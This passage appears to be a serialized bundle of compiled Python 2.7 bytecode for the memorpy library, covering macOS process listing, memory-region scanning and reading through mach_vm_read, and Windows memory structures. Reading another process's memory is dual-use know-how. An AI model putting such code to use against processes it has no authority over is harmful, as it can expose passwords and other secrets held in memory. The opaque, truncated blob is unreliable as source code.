4\\x00d\\x05\\x00j\\x05\\x00|\\x03\\x00d\\x06\\x00\\x1f\\x83\\x01\\x00}\\x05\\x00|\\x00\\x00j\\x06\\x00i\\x02\\x00t\\x04\\x00|\\x04\\x00\\x83\\x01\\x00d\\x07\\x006|\\x05\\x00d\\x08\\x006\\x83\\x01\\x00\\x01Wq+\\x00\\x01\\x01\\x01q+\\x00Xq+\\x00W|\\x00\\x00S(\\t\\x00\\x00\\x00Ns\\x04\\x00\\x00\\x00ps At\\x05\\x00\\x00\\x00shells\\x01\\x00\\x00\\x00\\ni\\x00\\x00\\x00\\x00t\\x01\\x00\\x00\\x00 i\\x04\\x00\\x00\\x00R\\x19\\x00\\x00\\x00R \\x00\\x00\\x00(\\x07\\x00\\x00\\x00t\\n\\x00\\x00\\x00subprocesst\\x0c\\x00\\x00\\x00check_outputR$\\x00\\x00\\x00t\\x05\\x00\\x00\\x00splitt\\x03\\x00\\x00\\x00intt\\x04\\x00\\x00\\x00joint\\x06\\x00\\x00\\x00append(\\x06\\x00\\x00\\x00t\\t\\x00\\x00\\x00processest\\x03\\x00\\x00\\x00rest\\x04\\x00\\x00\\x00linet\\x03\\x00\\x00\\x00tabR\\x19\\x00\\x00\\x00t\\x03\\x00\\x00\\x00exe(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x04\\x00\\x00\\x00listS\\x00\\x00\\x00s\\x16\\x00\\x00\\x00\\x00\\x03\\x06\\x01\\x15\\x01\\x16\\x01\\x03\\x01\\x0c\\x01\\x10\\x01\\x13\\x01%\\x01\\x03\\x01\\x08\\x01c\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s3\\x00\\x00\\x00x,\\x00t\\x00\\x00j\\x01\\x00\\x83\\x00\\x00D]\\x1e\\x00}\\x01\\x00|\\x00\\x00|\\x01\\x00d\\x01\\x00\\x19k\\x06\\x00r\\r\\x00|\\x01\\x00d\\x02\\x00\\x19Sq\\r\\x00Wd\\x00\\x00S(\\x03\\x00\\x00\\x00NR8\\x00\\x00\\x00R\\x19\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R9\\x00\\x00\\x00(\\x02\\x00\\x00\\x00R \\x00\\x00\\x00t\\x03\\x00\\x00\\x00dic(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\x1a\\x00\\x00\\x00b\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x02\\x13\\x01\\x10\\x01c\\x05\\x00\\x00\\x00\\r\\x00\\x00\\x00\\t\\x00\\x00\\x00c\\x00\\x00\\x00s\\x11\\x02\\x00\\x00g\\x00\\x00}\\x05\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00\\x83\\x01\\x00}\\x06\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00\\x83\\x01\\x00}\\x07\\x00t\\x00\\x00j\\x02\\x00d\\x01\\x00\\x83\\x01\\x00}\\x08\\x00t\\x00\\x00j\\x02\\x00t\\x03\\x00\\x83\\x01\\x00}\\t\\x00t\\x04\\x00\\x83\\x00\\x00}\\n\\x00x\\xbf\\x01t\\x05\\x00r\\x0c\\x02t\\x06\\x00j\\x07\\x00|\\x00\\x00j\\x08\\x00t\\x00\\x00j\\t\\x00|\\x06\\x00\\x83\\x01\\x00t\\x00\\x00j\\t\\x00|\\x07\\x00\\x83\\x01\\x00t\\n\\x00t\\x00\\x00j\\t\\x00|\\n\\x00\\x83\\x01\\x00t\\x00\\x00j\\t\\x00|\\t\\x00\\x83\\x01\\x00t\\x00\\x00j\\t\\x00|\\x08\\x00\\x83\\x01\\x00\\x83\\x07\\x00}\\x0b\\x00|\\x0b\\x00d\\x02\\x00k\\x02\\x00r\\xb5\\x00Pn\\x00\\x00|\\x0b\\x00d\\x01\\x00k\\x03\\x00r\\xd4\\x00t\\x0b\\x00d\\x03\\x00|\\x0b\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00|\\x01\\x00d\\x07\\x00k\\t\\x00r\\n\\x01|\\x06\\x00j\\r\\x00|\\x01\\x00k\\x00\\x00r\\n\\x01|\\x06\\x00\\x04j\\r\\x00|\\x07\\x00j\\r\\x007\\x02_\\r\\x00qN\\x00q\\n\\x01n\\x00\\x00|\\x02\\x00d\\x07\\x00k\\t\\x00r,\\x01|\\x06\\x00j\\r\\x00|\\x02\\x00k\\x04\\x00r,\\x01Pq,\\x01n\\x00\\x00|\\n\\x00j\\x0e\\x00}\\x0c\\x00|\\x0c\\x00t\\x0f\\x00@rl\\x01|\\x04\\x00rl\\x01d\\x04\\x00|\\x04\\x00k\\x06\\x00rl\\x01|\\x06\\x00\\x04j\\r\\x00|\\x07\\x00j\\r\\x007\\x02_\\r\\x00qN\\x00ql\\x01n\\x00\\x00|\\n\\x00j\\x10\\x00r\\xa2\\x01|\\x04\\x00r\\xa2\\x01d\\x05\\x00|\\x04\\x00k\\x06\\x00r\\xa2\\x01|\\x06\\x00\\x04j\\r\\x00|\\x07\\x00j\\r\\x007\\x02_\\r\\x00qN\\x00q\\xa2\\x01n\\x00\\x00|\\x0c\\x00t\\x11\\x00@r\\xf7\\x01|\\x0c\\x00t\\x12\\x00@s\\xe3\\x01|\\x04\\x00r\\xe3\\x01d\\x06\\x00|\\x04\\x00k\\x06\\x00r\\xe3\\x01|\\x06\\x00\\x04j\\r\\x00|\\x07\\x00j\\r\\x007\\x02_\\r\\x00qN\\x00q\\xe3\\x01n\\x00\\x00|\\x06\\x00j\\r\\x00|\\x07\\x00j\\r\\x00f\\x02\\x00V\\x01n\\x00\\x00|\\x06\\x00\\x04j\\r\\x00|\\x07\\x00j\\r\\x007\\x02_\\r\\x00qN\\x00Wd\\x07\\x00S(\\x08\\x00\\x00\\x00s\\xe2\\x00\\x00\\x00\\n optimizations :\\n i for inode==0 (no file mapping)\\n s to avoid scanning shared regions\\n x to avoid scanning x regions\\n r don\\\'t scan ronly regions\\n i\\x00\\x00\\x00\\x00i\\x01\\x00\\x00\\x00s(\\x00\\x00\\x00mach_vm_region failed with error code %st\\x01\\x00\\x00\\x00xt\\x01\\x00\\x00\\x00st\\x01\\x00\\x00\\x00rN(\\x13\\x00\\x00\\x00R\\x10\\x00\\x00\\x00t\\x07\\x00\\x00\\x00c_ulongR\\x11\\x00\\x00\\x00t\\x1d\\x00\\x00\\x00VM_REGION_BASIC_INFO_COUNT_64R\\x05\\x00\\x00\\x00R$\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x0e\\x00\\x00\\x00mach_vm_regionR\\x1c\\x00\\x00\\x00R*\\x00\\x00\\x00t\\x17\\x00\\x00\\x00VM_REGION_BASIC_INFO_64R\\x01\\x00\\x00\\x00R\\x18\\x00\\x00\\x00t\\x05\\x00\\x00\\x00valueR\\x06\\x00\\x00\\x00t\\x0f\\x00\\x00\\x00VM_PROT_EXECUTER\\t\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00VM_PROT_READt\\r\\x00\\x00\\x00VM_PROT_WRITE(\\r\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00start_offsett\\n\\x00\\x00\\x00end_offsett\\x06\\x00\\x00\\x00protect\\r\\x00\\x00\\x00optimizationst\\x04\\x00\\x00\\x00mapst\\x07\\x00\\x00\\x00addresst\\x07\\x00\\x00\\x00mapsizeR \\x00\\x00\\x00t\\x05\\x00\\x00\\x00countt\\x04\\x00\\x00\\x00infoR=\\x00\\x00\\x00t\\x01\\x00\\x00\\x00p(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x0b\\x00\\x00\\x00iter_regioni\\x00\\x00\\x00sL\\x00\\x00\\x00\\x00\\x08\\x06\\x01\\x0f\\x01\\x0f\\x01\\x0f\\x01\\x0f\\x01\\t\\x02\\t\\x01\\x18\\x01\\x0f\\x01\\x18\\x01\\x12\\x02\\x0c\\x01\\x04\\x02\\x0c\\x01\\x13\\x01\\x0c\\x01\\x0f\\x01\\x12\\x01\\t\\x01\\x0c\\x01\\x0f\\x01\\x07\\x01\\t\\x01\\n\\x01\\x12\\x01\\x12\\x01\\t\\x01\\t\\x01\\x12\\x01\\x12\\x01\\t\\x01\\n\\x01\\n\\x01\\x12\\x01\\x12\\x01\\t\\x01\\x14\\x02c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s\\x10\\x00\\x00\\x00t\\x00\\x00d\\x01\\x00\\x83\\x01\\x00\\x82\\x01\\x00t\\x01\\x00S(\\x02\\x00\\x00\\x00Ns\\x1c\\x00\\x00\\x00write not implemented on OSX(\\x02\\x00\\x00\\x00t\\x13\\x00\\x00\\x00NotImplementedErrorR$\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00RK\\x00\\x00\\x00t\\x04\\x00\\x00\\x00data(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x0b\\x00\\x00\\x00write_bytes\\x9d\\x00\\x00\\x00s\\x04\\x00\\x00\\x00\\x00\\x01\\x0c\\x01i\\x04\\x00\\x00\\x00c\\x03\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x07\\x00\\x00\\x00C\\x00\\x00\\x00s\\xb1\\x00\\x00\\x00t\\x00\\x00j\\x01\\x00d\\x01\\x00\\x83\\x01\\x00}\\x03\\x00t\\x00\\x00j\\x02\\x00d\\x01\\x00\\x83\\x01\\x00}\\x04\\x00t\\x03\\x00j\\x04\\x00|\\x00\\x00j\\x05\\x00t\\x00\\x00j\\x06\\x00|\\x01\\x00\\x83\\x01\\x00t\\x00\\x00j\\x07\\x00|\\x02\\x00\\x83\\x01\\x00t\\x00\\x00j\\x08\\x00|\\x03\\x00\\x83\\x01\\x00t\\x00\\x00j\\x08\\x00|\\x04\\x00\\x83\\x01\\x00\\x83\\x05\\x00}\\x05\\x00|\\x05\\x00d\\x01\\x00k\\x03\\x00r\\x7f\\x00t\\t\\x00d\\x02\\x00|\\x05\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00n\\x00\\x00t\\x00\\x00j\\n\\x00|\\x03\\x00j\\x0b\\x00|\\x04\\x00j\\x0b\\x00\\x83\\x02\\x00}\\x06\\x00t\\x03\\x00j\\x0c\\x00|\\x00\\x00j\\r\\x00|\\x03\\x00|\\x04\\x00\\x83\\x03\\x00\\x01|\\x06\\x00S(\\x03\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00mach_vm_read returned : %s(\\x0e\\x00\\x00\\x00R\\x10\\x00\\x00\\x00t\\x08\\x00\\x00\\x00c_void_pR\\x11\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00mach_vm_readR\\x1c\\x00\\x00\\x00R\\x12\\x00\\x00\\x00t\\n\\x00\\x00\\x00c_longlongR*\\x00\\x00\\x00R\\x01\\x00\\x00\\x00t\\t\\x00\\x00\\x00string_atRB\\x00\\x00\\x00t\\r\\x00\\x00\\x00vm_deallocateR\\x1d\\x00\\x00\\x00(\\x07\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00RK\\x00\\x00\\x00t\\x05\\x00\\x00\\x00bytest\\x05\\x00\\x00\\x00pdatat\\x08\\x00\\x00\\x00data_cntR+\\x00\\x00\\x00t\\x03\\x00\\x00\\x00buf(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\n\\x00\\x00\\x00read_bytes\\xa1\\x00\\x00\\x00s\\x10\\x00\\x00\\x00\\x00\\x01\\x0f\\x01\\x0f\\x02B\\x03\\x0c\\x01\\x13\\x01\\x18\\x01\\x16\\x01N(\\x0e\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x0f\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R$\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R"\\x00\\x00\\x00R#\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00staticmethodR9\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00RP\\x00\\x00\\x00RS\\x00\\x00\\x00R]\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\x15\\x00\\x00\\x007\\x00\\x00\\x00s\\x12\\x00\\x00\\x00\\x06\\x01\\x12\\r\\t\\x03\\t\\x03\\t\\x08\\x0f\\x0f\\x0f\\x07\\x154\\t\\x04(\\x1f\\x00\\x00\\x00t\\x04\\x00\\x00\\x00copyt\\x06\\x00\\x00\\x00structt\\x05\\x00\\x00\\x00utilst\\x08\\x00\\x00\\x00platformR\\x10\\x00\\x00\\x00t\\x02\\x00\\x00\\x00ret\\x03\\x00\\x00\\x00syst\\x0b\\x00\\x00\\x00ctypes.utilt\\x05\\x00\\x00\\x00errnot\\x02\\x00\\x00\\x00ost\\x06\\x00\\x00\\x00signalR\\x00\\x00\\x00\\x00R\\x01\\x00\\x00\\x00t\\n\\x00\\x00\\x00structurest\\x07\\x00\\x00\\x00loggingR.\\x00\\x00\\x00t\\t\\x00\\x00\\x00getLoggert\\x06\\x00\\x00\\x00loggert\\x04\\x00\\x00\\x00CDLLt\\x04\\x00\\x00\\x00utilt\\x0c\\x00\\x00\\x00find_libraryR&\\x00\\x00\\x00RA\\x00\\x00\\x00t\\t\\x00\\x00\\x00StructureR\\x05\\x00\\x00\\x00t\\x06\\x00\\x00\\x00sizeofR?\\x00\\x00\\x00RD\\x00\\x00\\x00RE\\x00\\x00\\x00RC\\x00\\x00\\x00R\\x15\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00s*\\x00\\x00\\x00\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01$\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x16\\x01\\n\\x01\\x0c\\x01\\x0c\\x02\\x0f\\x02\\x1b\\x02\\x06\\x02\\x19\\x0c\\x13\\x02\\x06\\x01\\x06\\x01\\x06\\x02\'\np13\nsS\'memorpy/WinStructures.pyc\'\np14\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00@\\x00\\x00\\x00s\\xd9\\x03\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00m\\x01\\x00Z\\x01\\x00m\\x02\\x00Z\\x02\\x00m\\x03\\x00Z\\x03\\x00m\\x04\\x00Z\\x04\\x00m\\x05\\x00Z\\x05\\x00m\\x06\\x00Z\\x06\\x00m\\x07\\x00Z\\x07\\x00m\\x08\\x00Z\\x08\\x00m\\t\\x00Z\\t\\x00m\\n\\x00Z\\n\\x00m\\x0b\\x00Z\\x0b\\x00m\\x0c\\x00Z\\x0c\\x00m\\r\\x00Z\\r\\x00m\\x0e\\x00Z\\x0e\\x00m\\x0f\\x00Z\\x0f\\x00m\\x10\\x00Z\\x10\\x00\\x01d\\x00\\x00d\\x02\\x00l\\x11\\x00Te\\r\\x00e\\x06\\x00\\x83\\x01\\x00d\\x03\\x00k\\x02\\x00r\\x8f\\x00e\\n\\x00Z\\x12\\x00n\\x06\\x00e\\t\\x00Z\\x12\\x00d\\x04\\x00e\\x01\\x00f\\x01\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x13\\x00e\\x0c\\x00e\\x13\\x00\\x83\\x01\\x00Z\\x14\\x00d\\x06\\x00e\\x01\\x00f\\x01\\x00d\\x07\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x15\\x00d\\x08\\x00e\\x01\\x00f\\x01\\x00d\\t\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x16\\x00d\\n\\x00e\\x01\\x00f\\x01\\x00d\\x0b\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x17\\x00d\\x0c\\x00e\\x01\\x00f\\x01\\x00d\\r\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x18\\x00d\\x0e\\x00e\\x01\\x00f\\x01\\x00d\\x0f\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x19\\x00d\\x10\\x00e\\x01\\x00f\\x01\\x00d\\x11\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x1a\\x00d\\x12\\x00e\\x1b\\x00f\\x01\\x00d\\x13\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x1c\\x00e\\x0b\\x00j\\x1d\\x00j\\x1e\\x00Z\\x1e\\x00e\\x06\\x00e\\x0c\\x00e\\x19\\x00\\x83\\x01\\x00g\\x02\\x00e\\x1e\\x00_\\x1f\\x00e\\x03\\x00e\\x1e\\x00_ \\x00e\\x0b\\x00j\\x1d\\x00j!\\x00Z!\\x00e\\x06\\x00e\\x0c\\x00e\\x19\\x00\\x83\\x01\\x00g\\x02\\x00e!\\x00_\\x1f\\x00e\\x03\\x00e!\\x00_ \\x00e\\x0b\\x00j\\x1d\\x00j"\\x00Z"\\x00e\\x06\\x00e\\x0c\\x00e\\x18\\x00\\x83\\x01\\x00g\\x02\\x00e"\\x00_\\x1f\\x00e\\x03\\x00e"\\x00_ \\x00e\\x0b\\x00j\\x1d\\x00j#\\x00Z#\\x00e\\x06\\x00e\\x0c\\x00e\\x18\\x00\\x83\\x01\\x00g\\x02\\x00e#\\x00_\\x1f\\x00e\\x03\\x00e#\\x00_ \\x00e\\x0b\\x00j\\x1d\\x00j$\\x00Z$\\x00e\\x02\\x00e$\\x00_%\\x00e\\x03\\x00e\\x03\\x00g\\x02\\x00e$\\x00_\\x1f\\x00e\\x0b\\x00j\\x1d\\x00j&\\x00Z&\\x00e\\x06\\x00g\\x01\\x00e&\\x00_\\x1f\\x00e\\x03\\x00e&\\x00_ \\x00e\\x0b\\x00j\\x1d\\x00j\\\'\\x00Z\\\'\\x00e\\x06\\x00e\\x03\\x00e\\x02\\x00g\\x03\\x00e\\\'\\x00_\\x1f\\x00e\\x02\\x00e\\\'\\x00_ \\x00e\\x0b\\x00j(\\x00j)\\x00Z)\\x00e*\\x00e+\\x00e\\x0c\\x00e*\\x00\\x83\\x01\\x00f\\x03\\x00e)\\x00_\\x1f\\x00e,\\x00e)\\x00_-\\x00e\\x0b\\x00j\\x1d\\x00j.\\x00Z.\\x00e*\\x00e/\\x00e0\\x00e\\x0f\\x00e\\x0c\\x00e\\x0f\\x00\\x83\\x01\\x00g\\x05\\x00e.\\x00_\\x1f\\x00e\\x0b\\x00j\\x1d\\x00j.\\x00Z.\\x00e\\x0b\\x00j\\x1d\\x00j1\\x00Z1\\x00e*\\x00e0\\x00e/\\x00e\\x0f\\x00e\\x0c\\x00e\\x0f\\x00\\x83\\x01\\x00g\\x05\\x00e1\\x00_\\x1f\\x00e,\\x00e1\\x00_-\\x00e\\r\\x00e\\x06\\x00\\x83\\x01\\x00d\\x03\\x00k\\x02\\x00r\\x16\\x03d\\x1f\\x00Z3\\x00nG\\x00y7\\x00e\\x0b\\x00j4\\x00j3\\x00Z3\\x00e*\\x00e\\x10\\x00e0\\x00e\\n\\x00e\\x0c\\x00e\\t\\x00\\x83\\x01\\x00g\\x05\\x00e3\\x00_\\x1f\\x00e,\\x00e3\\x00_-\\x00Wn\\r\\x00\\x01\\x01\\x01d\\x1f\\x00Z3\\x00n\\x01\\x00Xe\\x0b\\x00j\\x1d\\x00j5\\x00Z5\\x00e*\\x00e/\\x00e\\x0c\\x00e\\x15\\x00\\x83\\x01\\x00e\\x0f\\x00g\\x04\\x00e5\\x00_\\x1f\\x00e\\x0f\\x00e5\\x00_-\\x00d\\x14\\x00Z6\\x00d\\x15\\x00Z7\\x00d\\x16\\x00Z8\\x00d\\x17\\x00Z9\\x00d\\x18\\x00Z:\\x00d\\x19\\x00Z;\\x00d\\x1a\\x00Z<\\x00d\\x1b\\x00Z=\\x00d\\x1c\\x00Z>\\x00d\\x1d\\x00Z?\\x00d\\x1e\\x00Z@\\x00d\\x17\\x00ZA\\x00d\\x1f\\x00S( \\x00\\x00\\x00i\\xff\\xff\\xff\\xff(\\x10\\x00\\x00\\x00t\\t\\x00\\x00\\x00Structuret\\x06\\x00\\x00\\x00c_longt\\x05\\x00\\x00\\x00c_intt\\x06\\x00\\x00\\x00c_uintt\\x06\\x00\\x00\\x00c_chart\\x08\\x00\\x00\\x00c_void_pt\\x07\\x00\\x00\\x00c_ubytet\\x08\\x00\\x00\\x00c_ushortt\\x07\\x00\\x00\\x00c_ulongt\\x0b\\x00\\x00\\x00c_ulonglongt\\x06\\x00\\x00\\x00windllt\\x07\\x00\\x00\\x00POINTERt\\x06\\x00\\x00\\x00sizeoft\\x06\\x00\\x00\\x00c_boolt\\x08\\x00\\x00\\x00c_size_tt\\n\\x00\\x00\\x00c_longlong(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*i\\x08\\x00\\x00\\x00t\\x13\\x00\\x00\\x00SECURITY_DESCRIPTORc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00B\\x00\\x00\\x00s;\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x02\\x00f\\x02\\x00d\\x03\\x00e\\x02\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00f\\x02\\x00g\\x05\\x00Z\\x03\\x00RS(\\x05\\x00\\x00\\x00t\\x03\\x00\\x00\\x00SIDt\\x05\\x00\\x00\\x00groupt\\x04\\x00\\x00\\x00daclt\\x04\\x00\\x00\\x00saclt\\x04\\x00\\x00\\x00test(\\x04\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__t\\x05\\x00\\x00\\x00DWORDt\\x08\\x00\\x00\\x00_fields_(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR\\x11\\x00\\x00\\x00\\x1a\\x00\\x00\\x00s\\n\\x00\\x00\\x00\\x06\\x02\\t\\x01\\t\\x01\\t\\x01\\t\\x01t\\x18\\x00\\x00\\x00MEMORY_BASIC_INFORMATIONc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00B\\x00\\x00\\x00sM\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x03\\x00f\\x02\\x00d\\x03\\x00e\\x04\\x00f\\x02\\x00d\\x04\\x00e\\x03\\x00f\\x02\\x00d\\x05\\x00e\\x03\\x00f\\x02\\x00d\\x06\\x00e\\x03\\x00f\\x02\\x00g\\x07\\x00Z\\x05\\x00RS(\\x07\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00BaseAddresst\\x0e\\x00\\x00\\x00AllocationBaset\\x11\\x00\\x00\\x00AllocationProtectt\\n\\x00\\x00\\x00RegionSizet\\x05\\x00\\x00\\x00Statet\\x07\\x00\\x00\\x00Protectt\\x04\\x00\\x00\\x00Type(\\x06\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x19\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR\\x1b\\x00\\x00\\x00$\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01t\\x1a\\x00\\x00\\x00MEMORY_BASIC_INFORMATION64c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x00B\\x00\\x00\\x00s_\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x03\\x00f\\x02\\x00d\\x03\\x00e\\x03\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00f\\x02\\x00d\\x05\\x00e\\x03\\x00f\\x02\\x00d\\x06\\x00e\\x03\\x00f\\x02\\x00d\\x07\\x00e\\x03\\x00f\\x02\\x00d\\x08\\x00e\\x03\\x00f\\x02\\x00g\\t\\x00Z\\x04\\x00RS(\\t\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00R\\x1d\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00alignement1R\\x1f\\x00\\x00\\x00R \\x00\\x00\\x00R!\\x00\\x00\\x00R"\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00alignement2(\\x05\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x19\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR#\\x00\\x00\\x00.\\x00\\x00\\x00s\\x12\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01t\\x0b\\x00\\x00\\x00SYSTEM_INFOc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00B\\x00\\x00\\x00sq\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x03\\x00f\\x02\\x00d\\x03\\x00e\\x04\\x00f\\x02\\x00d\\x04\\x00e\\x04\\x00f\\x02\\x00d\\x05\\x00e\\x05\\x00f\\x02\\x00d\\x06\\x00e\\x03\\x00f\\x02\\x00d\\x07\\x00e\\x03\\x00f\\x02\\x00d\\x08\\x00e\\x03\\x00f\\x02\\x00d\\t\\x00e\\x02\\x00f\\x02\\x00d\\n\\x00e\\x02\\x00f\\x02\\x00g\\x0b\\x00Z\\x06\\x00RS(\\x0b\\x00\\x00\\x00t\\x16\\x00\\x00\\x00wProcessorArchitecturet\\t\\x00\\x00\\x00wReservedt\\n\\x00\\x00\\x00dwPageSizet\\x1b\\x00\\x00\\x00lpMinimumApplicationAddresst\\x1b\\x00\\x00\\x00lpMaximumApplicationAddresst\\x15\\x00\\x00\\x00dwActiveProcessorMaskt\\x14\\x00\\x00\\x00dwNumberOfProcessorst\\x0f\\x00\\x00\\x00dwProcessorTypet\\x17\\x00\\x00\\x00dwAllocationGranularityt\\x0f\\x00\\x00\\x00wProcessorLevelt\\x12\\x00\\x00\\x00wProcessorRevision(\\x07\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00t\\x04\\x00\\x00\\x00WORDR\\x19\\x00\\x00\\x00t\\x06\\x00\\x00\\x00LPVOIDt\\t\\x00\\x00\\x00ULONG_PTRR\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR&\\x00\\x00\\x00;\\x00\\x00\\x00s\\x16\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01t\\x0e\\x00\\x00\\x00PROCESSENTRY32c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00B\\x00\\x00\\x00s~\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x02\\x00f\\x02\\x00d\\x03\\x00e\\x02\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00f\\x02\\x00d\\x05\\x00e\\x02\\x00f\\x02\\x00d\\x06\\x00e\\x02\\x00f\\x02\\x00d\\x07\\x00e\\x03\\x00f\\x02\\x00d\\x08\\